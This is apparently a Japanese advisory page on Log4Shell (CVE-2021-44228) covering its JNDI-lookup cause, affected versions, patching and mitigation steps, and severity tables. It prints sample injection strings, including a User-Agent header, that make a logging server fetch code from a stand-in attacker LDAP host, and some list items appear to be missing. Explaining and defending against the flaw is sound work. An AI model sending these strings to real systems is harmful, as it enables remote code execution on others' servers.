
CVE-2021-44228
Apache Log4j 2 における深刻なリモートコード実行の脆弱性であり、広く Log4Shell として知られています。
CVE-2021-44228 は、2021年12月に発見された Apache Log4j 2.x(2.15.0 未満)における深刻なRCE脆弱性です。
この脆弱性により、認証されていないリモート攻撃者が、Log4j によって記録される特別に細工された入力を送信するだけで、脆弱なシステム上で任意のコードを実行できます。この欠陥は、世界中の無数のJavaベースのアプリケーションやサービスに影響を及ぼします。
この脆弱性は、記録された文字列内の JNDIルックアップ の処理に起因します。攻撃者は、記録されるメッセージ内に悪意のあるJNDIリソース(例:LDAP、DNS)を埋め込むことができます。例えば以下のようにします。
${jndi:ldap://attacker.com/a}
Log4j は以下の処理を行います。
これにより、攻撃者は影響を受けるサービス上で完全な リモートコード実行(RCE) を達成できます。
Log4j は無数のライブラリやアプリケーションで使用されているため、信頼できないデータを記録する任意のシステムが脆弱になる可能性があります。
以下のLog4j 2のバージョンが 脆弱 です。
>= 2.0-beta9 かつ < 2.15.0
さらに、2.15.0 の一部の構成でも悪用可能であったため、安全なベースラインは 2.16.0 以降です。
以下の Log4j 2 バージョン に更新してください。
2.17.1 以降
その後のパッチでさらに安全性が向上しています(例:2.17.2、2.19.0 など)。
即時のアップグレードが不可能な場合は、以下を実行できます。
log4j2.formatMsgNoLookups=true
JndiLookup クラスを削除する:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
これらの手順は、更新できるようになるまで露出を減らすのに役立ちます。
この脆弱性は非常に簡単に悪用できます。攻撃者は、アプリケーションによって記録される細工された文字列(例:HTTPヘッダー、フォームパラメータ、チャットメッセージ、データベースフィールドなどを介して)を送信するだけで済みます。
User-Agent: ${jndi:ldap://attacker.example/a}
記録されると、アプリケーションはリモートルックアップを実行し、攻撃者が制御するJavaコードを強制的に実行させることができます。
Log4Shell は世界的に大きな影響を及ぼしました。
これは ここ数十年で最も重要な脆弱性の一つ です。
脆弱なシステムは以下の方法で検出できます。
${jndi:)をスキャンするアプリケーションまたは使用しているライブラリが Log4j 2.x に依存している場合は、直ちに パッチ適用済みバージョン(≥ 2.17.1)に更新し、JNDIルックアップが無効化または可能であれば削除されていることを確認してください。
| メトリック | 詳細 |
|---|
| CVSS v3.1基本スコア | 10.0(重大) |
| 攻撃ベクトル | ネットワーク |
| 必要な権限 | なし |
| ユーザー操作 | なし |
| 認証 | 不要 |
| 影響 | 完全なRCE |
| フィールド | 値 |
|---|
| CVE ID | CVE-2021-44228 |
| 通称 | Log4Shell |
| 製品 | Apache Log4j 2 |
| 深刻度 | 重大(CVSS 10.0) |
| タイプ | リモートコード実行 |
| 影響 | 完全なシステム侵害 |
| 悪用容易性 | 非常に容易 |
| 対策 | ≥ 2.17.1 にパッチ適用 |